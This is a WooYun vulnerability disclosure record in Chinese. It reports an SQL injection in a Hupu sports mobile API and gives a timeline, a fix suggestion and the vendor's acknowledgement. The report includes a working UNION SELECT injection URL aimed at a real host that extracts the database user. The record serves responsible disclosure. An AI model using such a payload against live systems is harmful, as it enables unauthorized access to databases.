漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0156310
漏洞标题：虎扑分站某处SQL注入
相关厂商：虎扑体育网
漏洞作者： 路人甲
提交时间：2015-11-27 14:34
修复时间：2016-01-14 19:24
公开时间：2016-01-14 19:24
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-11-27： 细节已通知厂商并且等待厂商处理中
2015-11-30： 厂商已经确认，细节仅向厂商公开
2015-12-10： 细节向核心白帽子及相关领域专家公开
2015-12-20： 细节向普通白帽子公开
2015-12-30： 细节向实习白帽子公开
2016-01-14： 细节向公众公开
简要描述：
RT SQL注入
详细说明：
都是一个分站，url不一样，库不一样。
本来不想提了，但是上个说没法复现，其实很简单，找开发看一下代码，确定下是不是拼接SQL了？
这次把URL都给复制好。
http://games.mobileapi.hupu.com/3/7.0.4/quiz/getRankingListAjax?token=xxxd&client=xxx=1&pid=151099%27/**/union/**/select 1,2,3,4,5,user%28%29,7,8,9,10,11,12%23&type=1&mode=coin
漏洞证明：
修复方案：
APP接口的SQL查询统一下，别拼接SQL语句了。还有看在上个3rank的份上，抬一手。
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：1
确认时间：2015-11-30 19:22
厂商回复：
感谢
最新状态：
暂无